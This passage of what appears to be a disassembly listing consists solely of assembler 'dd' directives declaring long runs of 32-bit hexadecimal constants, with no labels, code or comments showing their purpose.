		dd 40E41ADCh, 0AB5D3C40h, 4F45004Dh, 6E2A5F46h,	5B16EB43h
		dd 4420FCA1h, 2FE8E1B2h, 0D890554Ah, 0B504055Bh, 0C5DCD478h
		dd 3814FC88h, 4C013196h, 6D3675FEh, 476E20ADh, 2F001A7Ch
		dd 0EC9023C5h, 7CDA3AFh, 0A53B1827h, 0DFFC005Ah, 0AA008BE6h
		dd 0C684923Eh, 72960B37h, 0A94F0034h, 0CE3ABF29h, 9325DF07h
		dd 26C4875h, 9C149584h,	0CE421500h, 4441D9E8h, 0A2AD3EDAh
		dd 2D75A700h, 6F18867Ch, 0D877E53Ch, 8F7E001Ch,	0C77B9B35h
		dd 2AE075h, 6DA6C0D7h, 0F6B06825h, 0A40017ECh, 79A20E7Dh
		dd 26235393h, 12BCE807h, 80FCB2AEh, 0DCBB9B2Bh,	0F7DB0116h
		dd 0FA47A577h, 0ACD7D4F2h, 72AFD200h, 1AEB5A7h,	7BB4A4BBh
		dd 4020BE98h, 0C343D2A4h, 0F0473D1Ch, 800AE3CBh, 762AF1A4h
		dd 92561368h, 97853AFh,	6468EC74h, 22F7FC0Bh, 0B9007F28h
		dd 6D77742Bh, 1B38CE3h,	0B6624A70h, 7D57BFACh, 0DA0B0780h
		dd 21BC7D52h, 40A58DCh,	2E8287C0h, 57002335h, 0B9FBB5B4h
		dd 12D0B1BCh, 900A09DDh, 5E5A40ACh, 0A527A3E8h,	3F54A0C5h
		dd 9BE7D2h, 2BEF8C67h, 0B884E877h, 5000F899h, 0ECC037A0h
		dd 256A048Ch, 0E453A9CCh, 17004FE8h, 2E5AD13Eh,	127D86F9h
		dd 93B0AF32h, 49DEC2BCh, 0AA8D6D00h, 0BEF76E15h, 241114EDh
		dd 0B0014E1h, 0A0C66980h, 85073D81h, 72A958BBh,	0E7D7AED0h
		dd 1CF10275h, 59509831h, 0BABD8CA0h, 7948F096h,	0D3BBB1D4h
		dd 8148C71Ch, 47BF0430h, 80A49620h, 90C954D2h, 772C134Ah
		dd 0B33CCCABh, 4244BE48h, 0C02200E0h, 0A7810475h, 0F54C13B4h
		dd 0AE4C41D4h, 22C5E80Dh, 41C10034h, 24076AD9h,	551539EFh
		dd 0AD1250BDh, 0FC78024Fh, 0ACC6853Eh, 0A99540F0h, 3CFC44C0h
		dd 0B8707EC1h, 859490A3h, 84E8AD0h, 76AD007Ch, 183754F3h
		dd 73419496h, 0C0221D36h, 0FE01AF00h, 0A2E551D2h, 0BEFC425Eh
		dd 0A9FB1703h, 7E2825DDh, 240478EFh, 0AEADD235h, 0AC88C4D5h
		dd 0F8571D0Fh, 37044016h, 0A1744F94h, 0D2B3E850h, 1715280Ch
		dd 4070E9A2h, 0D13B75B2h, 0ABBD0420h, 30B85193h, 0CC00118Bh
		dd 0E661B009h, 0D150F4A3h, 117A598h, 0A008BCC6h, 0D43A803Bh
		dd 0A4AACCD0h, 985ACB00h, 53F3BD35h, 0E910443h,	84BBEC80h
		dd 0CD6CC0D4h, 0F2544061h, 0BC17CF80h, 840A34Ch, 0A0CE5123h
		dd 2E342C3Fh, 270B0358h, 303647B8h, 939C635h, 548705C7h
		dd 0DC5CE412h, 0D7E42E40h, 6C500038h, 8227CC29h, 0E60CA82Fh
		dd 0C0A202AFh, 2BB101E7h, 7C6694A9h, 48AEF831h,	7663FC09h
		dd 37628179h, 943D4F4Dh, 0F38E2D00h, 6504B04Bh,	0E1A03Ch
		dd 0F1FF55F9h, 4BBE05C5h, 6B0CD059h, 0ED005B3Bh, 5E45272Ah
		dd 48A5B52Ch, 0D40934A0h, 80792BF8h, 0DE9D0D40h, 343600C5h
		dd 9F0BA43Eh, 3502BB10h, 0A5B0A81Ah, 0E6CC40D1h, 69A96359h
		dd 6472FDA0h, 1BD5E203h, 988174BBh, 0C1A3092Ch,	56FC3731h
		dd 60B875B4h, 0B9FB48h,	342019C4h, 0A40C2D51h, 210BC7CCh
		dd 3EAFEA3Eh, 2A828BDFh, 0A7560D12h, 6C407874h,	0C4B36Eh
		dd 72BA73E2h, 4F904BD3h, 2CBCA470h, 940BE41Eh, 58C8C031h
		dd 0B4AB00CDh, 4E3EE3A4h, 595EE0BAh, 0BC2B3040h, 59F8437h
		dd 0E17A14F8h, 2ABCB1BEh, 55E0B427h, 91AC18h, 0BA1624D1h
		dd 0D9156920h, 0F8F97E0Ch, 3E3099h, 9F230EF1h, 58EFA694h
		dd 0A03FA300h, 30C8B084h, 0BD0C3049h, 0D84F9718h, 0CBC6D300h
		dd 0ACD00496h, 6A3D00A7h, 0F3607C5Ch, 840048B0h, 5722781Fh
		dd 9A79AE7Fh, 48A0B878h
		dd 0E504E4ACh, 0C82DE7AFh, 0D70B077Ch, 18605B82h, 337F10h
		dd 0D840E08Ch, 0A44EAC0Eh, 0CF4040BBh, 768D7Ah,	25156454h
		dd 0FF86C3DCh, 217BC01h, 6AC5729Eh, 0A9C8200Dh,	90E069C9h
		dd 0E97844h, 8523083Ch,	3494D0EEh, 70D0D74Bh, 0CB13D1h
		dd 21DDFEBFh, 0A407DB1h, 0D8C8AF4Fh, 5C1F0055h,	14029BF3h
		dd 0AD02D077h, 17D14D3Eh, 9FC07839h, 0B8CE08A0h, 8AB34A1h
		dd 0AAACBCD0h, 7B3D371Ch, 90BA1FC9h, 48A5B2E8h,	9D34FBh
		dd 3648ADB9h, 0AC502010h, 4C024160h, 229CB2CAh,	0E39060A4h
		dd 764900E2h, 0B9577434h, 0C3001F32h, 70A69992h, 244CE40h
		dd 11E79829h, 7CC633E6h, 4D832600h, 64DBE1D9h, 7FFC00CBh
		dd 18B881C4h, 90B933B0h, 4E214A40h, 169501ECh, 2B473B10h
		dd 0C00C2C85h, 1B7492AAh, 86DC068Ch, 88D84411h,	3E00C4F0h
		dd 0D6A79AFh, 0E1DF7ABFh, 2FE0FAE8h, 80307293h,	0CE7C4138h
		dd 0A4C80D1Eh, 35C55285h, 4FB324E0h, 0FE4C48B1h, 80791B89h
		dd 9C68826Ah, 676D0334h, 98D57DB2h, 57BE0190h, 0B8AAF000h
		dd 0F7ACEC3h, 0F11904F8h, 0E2A3EDCFh, 0C4721C98h, 0AB626600h
		dd 7C539AC6h, 0C0549EA6h, 713FE589h, 3156C01h, 57F45C88h
		dd 5C49D3D4h, 0B5029782h, 0A6A15137h, 0A4901C6Ch, 383D5090h
		dd 253B80A8h, 6EE08BEEh, 9DFE0F4Bh, 2FC0FAACh, 0C747BA83h
		dd 63092E00h, 14C9748Ah, 8BCE0094h, 60443FB6h, 5C13869Dh
		dd 0E7186BA4h, 0E56928h, 5BD52BDEh, 0AC7656F7h,	8A618E03h
		dd 0A465602Fh, 8029C307h, 59C1829Fh, 926E8E03h,	90EFDE86h
		dd 0F28DAB3Ah, 0D7A300B4h, 9F35AFE3h, 3381A7Fh,	0B3189877h
		dd 184CA951h, 11BA3424h, 220BE563h, 4A14037h, 76C37DF1h
		dd 367E3CCh, 0EB2BAB79h, 70B89005h, 3A00B08Eh, 9DD648F4h
		dd 0E8E484h, 0E5445638h, 99DD0D63h, 34676C00h, 16906E24h
		dd 21234C4Eh, 0A804FE03h, 90100D3Ch, 5017630Ah,	46B30131h
		dd 0F48B5943h, 9E00344Ch, 6BCEA56Fh, 6FE191A9h,	0D83319Ch
		dd 98298B9Fh, 7000A06Ah, 19D512E0h, 0E3473E6Dh,	14319830h
		dd 3E00901Bh, 9E68B120h, 0FF8BD0h, 775D4BB0h, 4114811Dh
		dd 63C92514h, 115060A7h, 17DCC7Ah, 5A33A620h, 0C45D7935h
		dd 0D3FAD690h, 60B24400h, 0CC4932DEh, 97F2011Fh, 993573Eh
		dd 454415Ah, 90519D8Bh,	8402D92h, 868ABCFh, 0C2FF0171h
		dd 0F0B750A0h, 771824FEh, 0D8C1752h, 19C67B5Dh,	414ADDE0h
		dd 9862E06Ch, 4EC91502h, 0A0E53426h, 0FD0565E4h, 1BB800EFh
		dd 86568158h, 800801Ah,	0FAF76215h, 158336B0h, 9C8512B1h
		dd 93DD8600h, 0B67A578Bh, 0AA5EC1Ch, 0D4433640h, 0C4CD29h
		dd 0C5E3C33Bh, 0CA6CC0DAh, 4EF7330Ah, 4805476h,	1CD3D91Dh
		dd 649C0660h, 0F9415361h, 0A941811h, 97ECBE00h,	193C11EAh
		dd 93543090h, 0BD005D90h, 0A7E92B6h, 0C25795h, 6ED6C584h
		dd 0E463B765h, 62F8014h, 7D8A22B0h, 66F9C034h, 3D2A0E99h
		dd 1C20458h, 8DD0AC43h,	0D7DCD9C6h, 1428C0E6h, 6B0590C3h
		dd 31F22C00h, 44DC5B0h,	2E58042Ah, 886371F0h, 0DC033EB4h
		dd 6B42B67Ch, 0DB948055h, 0C8E83D43h, 20791002h, 0CF60185Ah
		dd 51D994Eh, 610CDEB5h,	1F7D19Ch, 0B36FF1ECh, 0FDFE472Dh
		dd 1E80405Bh, 3851CEC4h, 82BB4014h, 0A5130C3Bh,	18FE58C1h
		dd 0D3CB28AFh, 277AB00h, 7C4E146Eh, 0A2483E5Fh,	153F08D0h
		dd 0E49D6BA7h, 8FD0E01Ch, 0D120A93Dh, 0BBEEC511h, 9E1D9214h
		dd 893886C0h, 49BF0079h, 0ECEA06DFh, 430073C8h,	1D055754h
		dd 0A0CCCFD1h, 0A88D34E4h, 0A668B0h, 0EAE29313h, 0B26FD73h
		dd 1D208F12h, 0D10F4816h, 20222990h, 0F5513354h, 54F20140h
		dd 359DB3ADh, 433824AEh, 0B206C98h, 0B728C163h,	0C8223E69h
		dd 0AE0072CCh, 96A291E5h, 75E3D05h, 7A8E4F74h, 599A60A4h
		dd 4006E7Fh, 0EA65D714h, 70777Bh, 8506C056h, 480B73EDh
		dd 520028EAh, 7C14F23Ah, 475E5ACh, 499B83A3h, 5DD4C0FDh
		dd 3C0085F8h, 0D18E1D06h, 0FACEC90Bh, 0A78994Ch, 80AC756Ah
		dd 0BAC44F6Bh, 420030E1h, 86A5B062h, 3CC059h, 0E81C492Fh
		dd 997A80AAh, 9F0BB718h, 501B7739h, 21F740Ah, 65B43BD1h
		dd 0E1E29E9Ch, 1E460C44h, 0C92E6100h, 5B754146h, 1AB3C201h
		dd 0CC4FB77Bh, 4C43CBDBh, 7AC01C19h, 7EBF8185h,	80B7E93Bh
		dd 6E43CE35h, 44379E2Ah, 2553C662h, 0F65807E8h,	0E001F148h
		dd 0FDD85D37h, 432500B6h, 0B31489F8h, 9B000595h, 7D4E6116h
		dd 3E4044DCh, 18FFB22Eh, 0C18A6028h, 0ED019DD8h, 48410E19h
		dd 0E0E8BDC6h, 64E8C9F4h, 348B8E81h, 0B7980B4h,	484CF94h
		dd 3C091B74h, 0B1C928B6h, 63519E18h, 56FBE2C0h,	245B1A35h
		dd 0D81D76h, 6C33277Bh,	4C0F98C7h, 675182BFh, 53967901h
		dd 5B740911h, 1090BC40h, 5D0FBB19h, 0A41D8178h,	71C02BF4h
		dd 69325Fh, 72B74E06h, 2CDB1C2Dh, 0D0268F24h, 943BB68Ah
		dd 404EF347h, 873A43D3h, 0D6FB0156h, 74A84A99h,	0CB19D76h
		dd 26221440h, 70C610E1h, 0FD581888h, 0D8502161h, 0F79F0600h
		dd 0C3D3C087h, 164E12B1h, 9F013CDh, 9C10336Ch, 6CB23C60h
		dd 0AC3F4301h, 3BB587C9h, 3500DC62h, 0C4F6385h,	6976F6BBh
		dd 0BC393100h, 0ECFFC4D3h, 0F4E6503Ch, 0D66C401Fh, 3CA2C00h
		dd 7B239DD1h, 1418C18Ch, 0D27795BBh, 2407E066h,	0B6894D1Ch
		dd 30BB98Ch, 7A0AB535h,	8BE7F7Bh, 2EF0B0C4h, 0F9F6AC40h
		dd 0A54C7333h, 74907120h, 1B4CD7F2h, 0CA280920h, 78840676h
		dd 0F6B62C91h, 0C992403Ch, 71C1709Fh, 0E4E38062h, 695BD030h
		dd 0FC82F1B6h, 372544FCh, 0E0A87488h, 0B38400D6h, 0D7E6F230h
		dd 1C008303h, 0D9A3FB7Bh, 0E8DA4072h, 59A205A5h, 81904573h
		dd 416346F0h, 63CE9538h, 3F0E00F8h, 0B7186D9Ch,	0A8831DA0h
		dd 6CF98099h, 2EF4FF96h, 22ABE009h, 35E00167h, 48608710h
		dd 2438036Dh, 99F65DF7h, 0F23BA5C8h, 5400FB98h,	12C4E99Ch
		dd 0AF5BACh, 231324ECh,	726D3404h, 4279E302h, 0E79DCDD4h
		dd 0A4580E68h, 0C76D94C0h, 0E11612F6h, 0B0404FEBh, 1BADD507h
		dd 8BC62E0Eh, 60042698h, 66793BD6h, 0AA5CC31Eh,	2C6880C5h
		dd 0AC327484h, 704C460h, 0E269FA53h, 7A28CC6Fh,	7B410A40h
		dd 5526053Fh, 40181A76h, 0C0EAA9E0h, 9A010E10h,	0CC43DF29h
		dd 0D0509B98h, 4C763F1Ah, 48121C1Fh, 6ADC061Ch,	0CA039977h
		dd 55F6B80Dh, 0F0728839h, 0C0E8034Bh, 90617CDFh, 0F2C39100h
		dd 0B1298AEFh, 6DC11DF1h, 0AF16C040h, 6A3FE21Fh, 91F09C61h
		dd 798E9F04h, 0A0544C9Eh, 97809C88h, 0C18DCB56h, 59CBBCCh
		dd 5268DC90h, 18ED0008h, 8C341344h, 5A0290A8h, 805CB400h
		dd 0E8383560h, 0D7F20104h, 28091DFAh, 9EC440C3h, 79D29D36h
		dd 84D1110Bh, 254086ACh, 9F9A2A5Ch, 0B8E21816h,	0EAAA1000h
		dd 11F54D05h, 8FBDEFh, 2416520Dh, 4835A7h, 4DFC70C3h, 6821A4C2h
		dd 0C5C43F00h, 28D3A8C0h, 1830F285h, 684FF2E1h,	7B018A0Ah
		dd 9E274449h, 81868E42h, 6163BD43h, 0A4FB5B1Fh,	6FBCA080h
		dd 381CED49h, 0BF8051F5h, 358BB204h, 0B97F24C5h, 4EC86402h
		dd 64F791C3h, 0B8E3F54Ch, 25E69F95h, 0C421BD97h, 0CCC4B4DAh
		dd 3172C9B5h, 0F698C202h, 408D133Eh, 0E1A1B89h,	195954FCh
		dd 7C7AD80h, 730011B1h,	8B89862Ah, 980284E7h, 7ABE1FE4h
		dd 887DC08Eh, 59CED4D0h, 91A0CF00h, 6BA80BAFh, 43ACA863h
		dd 0A1F0014h
		dd 0D9789608h, 0A90094D4h, 0A17B5961h, 0EE9ACAF5h, 0EF84A888h
		dd 0E7AA1D19h, 9E1AC27Eh, 2042417Bh, 15FAD069h,	2056C00h
		dd 58716E58h, 852248CDh, 0F738604h, 3C907436h, 800BE90Ah
		dd 1F14CA33h, 628C9455h, 76CA250h, 0B3E02151h, 3514221Ch
		dd 9482910Fh, 3A5C4445h, 7A446043h, 2ECE588h, 782E38A7h
		dd 5360F5F3h, 40008172h, 0D112F2E6h, 1488C9EEh,	740D9E98h
		dd 0CC254300h, 0CD9BA2B1h, 0ADA70100h, 17998BCEh, 441939BDh
		dd 0F57960B0h, 0B9582D92h, 0CE6D016Dh, 3409B62h, 409DEC60h
		dd 8800AF8Bh, 166DD0B2h, 0C3E843h, 5C7BD3ECh, 4EF01BCCh
		dd 36159804h, 40D266CEh, 99CD2077h, 0E87AD5FCh,	4C972502h
		dd 0E054E91Bh, 0C0F0B728h, 0E22A63F1h, 0BC12550Ah, 0BC00EA21h
		dd 77DD3ACFh, 0A4C35418h, 29A405BFh, 211FABC5h,	1192437Ch
		dd 5180606Ah, 0F26BC1DFh, 4AFE8997h, 0FEC820DDh, 33CA862h
		dd 833B96A6h, 0D5B07D5Eh, 0A12C7ECh, 0D05D72F0h, 0B71C909Eh
		dd 0E7CD02Ah, 0BC2AB0A4h, 0C700A061h, 3FDF927Ah, 1E4C111Eh
		dd 0E31F87h, 9D4284BBh,	0F712C5CCh, 0C229755h, 1F602511h
		dd 1EFA405Ch, 4F1F3EC0h, 26008774h, 45772857h, 482C6533h
		dd 384CB408h, 9039818Ch, 3344F051h, 80D538F4h, 96A1449Fh
		dd 0C00701BDh, 0E828CC20h, 11013405h, 377224FBh, 642469E2h
		dd 290F6B09h, 0A3150C90h, 0F9A2FE2Ch, 77DB9A02h, 9C7240DFh
		dd 8CA132AFh, 684086D0h, 43808552h, 2C355871h, 0E225D680h
		dd 380E8CDEh, 6F8D2A9Eh, 0E3032041h, 1C07CC0Ah,	35A3B1F7h
		dd 0F50881D8h, 0B92A1011h, 0BE981935h, 0D817E189h, 9C0086F0h
		dd 4DB536BAh, 15506ADh,	0F804EB96h, 2274DFD3h, 7CD50000h
		dd 2915E8FEh, 8D5E00FBh, 0E043AAD0h, 5D0A6B1Fh,	0C0619952h
		dd 45D81440h, 978A0079h, 0D2C9B7C0h, 0E10093A8h, 6B6EFB54h
		dd 12063142h, 901B7A63h, 90ECA960h, 0E1B1E213h,	0AC70F434h
		dd 8001750Ah, 0AF7D4230h, 97E5E60Ah, 0BD11E485h, 0FC0544Ch
		dd 0D11DF7Ah, 0EEA348C2h, 8BCA0F91h, 0C288084h,	7162AAF6h
		dd 9E2A6C00h, 21AEFA47h, 5B6B37A9h, 77DE0A9h, 884E1E93h
		dd 4D72B827h, 0F47A35h,	6C967E6Fh, 13C0ECDDh, 0A3BDB500h
		dd 0F9AF9DD3h, 20F0A641h, 901475AAh, 12861F7h, 761D6B8Bh
		dd 10702681h, 91E09021h, 0DCBA002Ch, 5E4D0BB6h,	3A3E9300h
		dd 0C3CFC51Bh, 0C2F72ACAh, 0C7F0A184h, 34646011h, 0B2587B08h
		dd 507D0026h, 25CBF069h, 1F7C9Eh, 0EF158BF4h, 0C237E1D3h
		dd 2238894Dh, 0D7E79h, 7C0BE860h, 0B0151238h, 9927B300h
		dd 92FDFC56h, 945B0063h, 61795E1Fh, 720C7B89h, 9832B709h
		dd 4D4486DAh, 1458B6h, 0B437E3C7h, 96DA5D55h, 759406F1h
		dd 24430AC1h, 80B49FC8h, 0D197BD06h, 786174A0h,	0D2AE9249h
		dd 3939E3C0h, 0F380DDA6h, 0A4441C4Ah, 0EC4A3212h, 7334F420h
		dd 516700E3h, 464335E1h, 0CB009C0Fh, 4E17E93Ch,	90262F44h
		dd 32550175h, 53E49718h, 3CB03099h, 0B6205CA4h,	764C0774h
		dd 8CFD0726h, 24007B21h, 0AFEC486Ch, 0F8DD9B6h,	0C785290Fh
		dd 99C597E7h, 63DBF880h, 0BF00C2BDh, 1129EC05h,	3084A71h
		dd 0B1CECDD0h, 38A2DFDAh, 67FAC0E4h, 0C9988600h, 5F8724F7h
		dd 9AC3B758h, 0AE8CD2BCh, 604FB896h, 31478842h,	246DC096h
		dd 91163E88h, 5DF4204Fh, 7400338Eh, 0D35E4F7Ch,	14031D4h
		dd 0E3AD8B07h, 0F49F7A1Fh, 420E5299h, 0E1F3AF34h, 748BB926h
		dd 53A95285h, 2C6CC8ECh, 0BC4EF612h, 67BB6090h,	535400C8h
		dd 0CF3C515Bh, 250EF235h, 428B9027h, 8443ABD1h,	21324BB8h
		dd 0E7E8182Bh, 4CE500A3h, 0BB3FBE0Bh, 7600B5EDh, 0AD656BD9h
		dd 9EAA841h, 369F945Eh,	0F66FD0C8h, 0BFEE1F16h,	10614409h
		dd 3A9D68Ch, 464957B0h,	0DFE83494h, 7407828Bh, 16DE975Ah
		dd 1AE1C827h, 0E3F04962h, 84A90090h, 2E2C4AC7h,	734D6D40h
		dd 10B8CE2Ch, 9B72CF1Eh, 0D1C3C106h, 9600C8DDh,	10BA8200h
		dd 31D608CAh, 0E224042Dh, 80612E37h, 95806828h,	0C66FF1C2h
		dd 0AD007766h, 7A5AAE05h, 8C23A41Ch, 0CF46874Fh, 50D840F2h
		dd 6585DE9Dh, 200B7856h, 0E3B1CF98h, 0BD13A899h, 0BA37E090h
		dd 0CFCD0057h, 1EAE0195h, 1205440Ch, 0A0DAE26Dh, 24050BFFh
		dd 29F7C487h, 9DB2C19h,	177BE839h, 945F143h, 0A1094C28h
		dd 89537000h, 0C4002380h, 35B7B8A7h, 988FC9F6h,	9A1CA884h
		dd 616B24B5h, 99FF4070h, 73036FA8h, 0EBD1495h, 437C0A52h
		dd 87ACF10Fh, 2998202Fh, 81766306h, 0EE054375h,	0CF254259h
		dd 2300ACE2h, 0B1AE03DDh, 2E00BF45h, 9D93E86Fh,	5C4CE56h
		dd 5F63CD2Ch, 259032B7h, 0CDEA449h, 98588ADAh, 0AC9844h
		dd 5D9CD556h, 64299B7Ah, 0B5F63B0Bh, 154CA29Dh,	800873B9h
		dd 12EE0E4Fh, 0F2073BE7h, 98876223h, 205A7D0h, 856102CFh
		dd 12C00832h, 8BF5DC82h, 0FB267721h, 618E8C3Ch,	7E978100h
		dd 43005931h, 0EA46FE07h, 22C5D05h, 0B1D3CD3Bh,	0FC917B17h
		dd 955E109Dh, 0AC0B0019h, 0B4E92557h, 0E7FE6D91h, 82DB801h
		dd 988DD223h, 88BCA860h, 51DE243h, 1F045551h, 0B8B08E36h
		dd 204024Ch, 8745B0E7h,	0CC4CDCCEh, 9DF44870h, 7715E0Bh
		dd 2882CE0h, 0B6F7CB64h, 62EFB499h, 85EB805Ch, 0FE03EADDh
		dd 517400F7h, 0E1543990h, 0C113D8A9h, 0C4046C8Bh, 9105690Eh
		dd 48304405h, 0E024F1A2h, 0A02D6640h, 1920A36Bh, 1EA1C0A9h
		dd 8EF8A16Eh, 0B689CB0Ch, 2A54DADAh, 1A067BDh, 4C801693h
		dd 0F1E9D61Eh, 42D52014h, 6620E090h, 0D46B5259h, 6801993Dh
		dd 7A115F9Eh, 0C9F8F351h, 9499B326h, 254DCE85h,	68C1D0C0h
		dd 0BA90C8CDh, 0A9427064h, 28EBB01Eh, 35108F92h, 6AB4A921h
		dd 0AA0F8C69h, 36206574h, 359C9754h, 0C72832F0h, 8E229868h
		dd 0B80A5861h, 9919FCEh, 1AF23AC6h, 0E4488BB8h,	988C0068h
		dd 0DB60D6D9h, 0E33D3EC3h, 9E190618h, 0A585163h, 7A1B776Ch
		dd 530A42A4h, 0E616822Fh, 0D85361h, 0F9B0FFEFh,	303A0A25h
		dd 34FC3044h, 4842924Eh, 0CF104CCBh, 929788D3h,	0BA4804C6h
		dd 12B705B2h, 4C210E2h,	0B898B227h, 762F4F26h, 0F7201015h
		dd 60CCC9B1h, 2CCE9C48h, 0E51549C5h, 0AF0598A2h, 5D666028h
		dd 2C9BC094h, 0E5DBF446h, 0C00775ECh, 309AF6BCh, 8256C1B0h
		dd 437C0213h, 0B3AEF00Ah, 0B6048459h, 10B36CC2h, 0E2D9007Dh
		dd 8446EFEBh, 1A90CB6Bh, 10947F48h, 1E88E44Ah, 91F5D81h
		dd 0F46CE7CCh, 111CA02Ch, 3CA73D62h, 5D5A9F9Bh,	7EC47A5Dh
		dd 6488BC43h, 722E0C8h,	10F596Ah, 0AAA630C4h, 4E24CC79h
		dd 9C6ADCA2h, 197A6404h, 8A9F9CA8h, 66C8CB08h, 4325312Eh
		dd 0FF30A0BDh, 42614h, 3728AD5Fh, 74A81A67h, 0E4A7AE02h
		dd 18BE5BD7h, 0E200BDBBh, 0EA306443h, 286D382h,	2FA1AEA0h
		dd 2862B8F1h, 402069h, 0F89D8799h, 0A62E016Ah, 0DF184668h
		dd 221C721Bh, 0AF77153Eh, 0EC40B084h, 1A0CA098h, 1712E907h
		dd 0E1AD7881h, 2865ED37h, 7642A148h, 3098670Ch,	0B8899300h
		dd 52390581h, 4BED3C58h, 8D2A9A80h, 1042241h, 0BC5A9105h
		dd 5C84236Dh, 0C00BBCE0h, 0A6C98A71h, 37483543h, 0CD8980B0h
		dd 122B7h, 0C7FD1234h, 73D15BC1h, 4F5490BAh, 50993B74h
		dd 83DB1443h, 4AFBC811h, 945A0C2Ah, 96D8E816h, 9CFC5144h
		dd 71D05374h, 92C21F2h,	7301B824h, 499233BDh, 0EC9EECh
		dd 66F8951h, 0AE41CA88h
		dd 4781200h, 0B7809F59h, 0E00A6B09h, 0B46C0CCh,	86D3E450h
		dd 5C88534Ah, 80B754ADh, 90EC3DBFh, 4D1D7A01h, 321EB1CDh
		dd 342A0820h, 0BBE98FB8h, 77EE7FA0h, 481EA042h,	2217C27Dh
		dd 19E59800h, 920E3EAh,	84091DA9h, 92CFF023h, 285925E2h
		dd 69A6E360h, 4E040109h, 92EE6DF2h, 0A3B990B0h,	0E4A85BC8h
		dd 0E020634Bh, 0F26B9CDh, 273F58AEh, 0ECA2534Bh, 3827703Ah
		dd 4271B590h, 0D6F9079Fh, 7003AC3Ch, 0ECB7EA7Eh, 88C6C500h
		dd 0F62D9389h, 0E832954Eh, 32DFBC84h, 0E2902136h, 0B2341146h
		dd 4243D980h, 7557BC7Dh, 945BE900h, 0AD1FEA4Ch,	245E2EFCh
		dd 4D412CEh, 0B8AEE0Ch,	4CB49C64h, 304CD436h, 0B06FC4A0h
		dd 62A82900h, 0E7ADBB70h, 647499C2h, 9E6C906Ah,	49D78943h
		dd 0E856C080h, 21B8BA66h, 1B10E492h, 0DE6FE380h, 4F12F134h
		dd 141D4BE2h, 50138829h, 0B17C8004h, 32C06414h,	0C69A8335h
		dd 48B4D45Ch, 0AC41965Ch, 16F7CA28h, 22483852h,	46EF0B6h
		dd 73425Fh, 9231D0FEh, 399F0417h, 0AC273685h, 6239BFh
		dd 2E046FD2h, 0B50FAh, 759AD4FBh, 0CC6D7B58h, 84F6B119h
		dd 0A0E02A49h, 30B974h,	4C5B6801h, 230042FFh, 0DDABD834h
		dd 13976D5Dh, 80EEC62h,	0DABA6C40h, 2DC33802h, 0B4A12492h
		dd 1D22B13Ch, 10A128Bh,	488404ABh, 154404A8h, 0DEC01414h
		dd 8C04BD39h, 0BEB35700h, 0A664CDA3h, 0C522072Eh, 1B7CCAB2h
		dd 6F40F0ECh, 9911CE66h, 0A54894E0h, 70002C75h,	9F8CD92Dh
		dd 0B3ED9Ch, 0DA6625DDh, 3B0828FBh, 9C60D148h, 45E30861h
		dd 140B344h, 5C122367h,	3B791500h, 0F6F0D4F8h, 0F4A6097Ch
		dd 0D080A58Ah, 4E66461Fh, 0E66340B4h, 9D26884Ah, 0FB7EB1h
		dd 4F4CF931h, 672950C7h, 0A0C0255Ch, 53377371h,	8122A86Bh
		dd 0E440344Ah, 0D179FF88h, 3D1C003Ah, 0C711D332h, 0DC3E1E13h
		dd 1050585Dh, 26264259h, 5D60008h, 0A270D011h, 28D4A197h
		dd 1AF0C2CDh, 0E4530B4Fh, 9C04A90Dh, 6E14061h, 9C3980h
		dd 193C3DB3h, 0CE9B1F56h, 4C91AB3Fh, 90348B38h,	7D4504h
		dd 0A3C4D66Eh, 664ADD06h, 0E5BC3200h, 0A6F194ECh, 0AC0C07A4h
		dd 709B5302h, 0D48FBD26h, 298A0748h, 5991C803h,	0F01F9A02h
		dd 0E4448CC2h, 0B2077F4h, 97304A63h, 99C9CFA8h,	91371451h
		dd 34811CC4h, 0B830672Ch, 0E3E80228h, 0C77AA806h, 402EBC98h
		dd 0B40CF389h, 8788F8Ah, 0D06A1786h, 0E6D97050h, 20C45301h
		dd 0FE7AEE24h, 8C69BC41h, 0E2561510h, 98866828h, 2C460924h
		dd 1C5D2B50h, 4E4D9045h, 1A408639h, 733B70D5h, 540B7F0Eh
		dd 9025CB29h, 95F82010h, 90CB6018h, 0D18E4C1Eh,	0A2541E00h
		dd 7B9E4170h, 0E8B300D3h, 8638C537h, 0C1C40BB1h, 74D21363h
		dd 1176199Ah, 202BE1B6h, 8B9E1BDCh, 0A45C664Ah,	60271AD1h
		dd 1C2D9420h, 3D00AC04h, 0E6DC9B0Eh, 0A06B1A9Ah, 8822F0BCh
		dd 38099835h, 455506E2h, 5B491E8h, 0AE0731EEh, 0D2677491h
		dd 6A897A08h, 3B07B469h, 506CC019h, 9F565511h, 0AA3ADB00h
		dd 0EF8C33F1h, 2678B021h, 0E09C505Ah, 0E04FC30Fh, 5C8FDE02h
		dd 0E41E77CAh, 0ECB62978h, 0D0BD13F0h, 0B75B557Ch, 3156140Bh
		dd 122C4E52h, 88B91876h, 4801C7CCh, 107EC346h, 94704CE0h
		dd 211A420Bh, 1621123h,	0B39F4CFAh, 0CFD03854h,	68F50530h
		dd 0A00E1FF6h, 1D2FB714h, 8BA01062h, 457301CAh,	356CECB8h
		dd 0ADAC500Ah, 83043B2Ch, 0AC8AD54Bh, 950B00ABh, 96ABA3AFh
		dd 0D8C58900h, 5E812CCh, 0BB441E5Ah, 0C42354E3h, 8043312h
		dd 53649BC4h, 6D67A15Eh, 81683809h, 0A1C200A7h,	6B8C65ADh
		dd 0DD001B9Ah, 0F0ACB328h, 0C27496Ch, 0BC1A1FE2h, 244E0548h
		dd 0B1374028h, 34600008h, 2497690Dh, 0E7708900h, 5578B0E0h
		dd 3BF90210h, 0D2643516h, 0D02F1848h, 90264484h, 0BC4BF024h
		dd 0D643E544h, 7AF01872h, 7600192Ah, 0AC71FF12h, 26EDFDBh
		dd 0C08D5D13h, 70734391h, 63882A90h, 0A09ACB80h, 1F8C5EEh
		dd 4C925672h, 0F355F63Bh, 0CA6E380Bh, 43581A4Ah, 40C8BD78h
		dd 1C8C01EBh, 18479991h, 88A8281Fh, 30514E24h, 0C715569Ah
		dd 37580071h, 0B13FE757h, 912E2C3Eh, 0A0B14F4h,	1904C99Dh
		dd 99731432h, 0EB130A60h, 832600F2h, 0D9906253h, 1298783Ah
		dd 0C4203727h, 0DAD06CCh, 1E91A85Bh, 0AB85F089h, 2DB2251Fh
		dd 207510F0h, 0AD76254Fh, 0CF06C91h, 74B08414h,	0CB256243h
		dd 6507944Eh, 0E9EA072Eh, 68DB4230h, 61D6023Fh,	8610A457h
		dd 0C30418E0h, 9E783380h, 0A46BE5E8h, 0CD031E30h, 3DA5FA48h
		dd 9E18E88Fh, 1D970EFBh, 414035FDh, 76F7D4F6h, 6064F4B9h
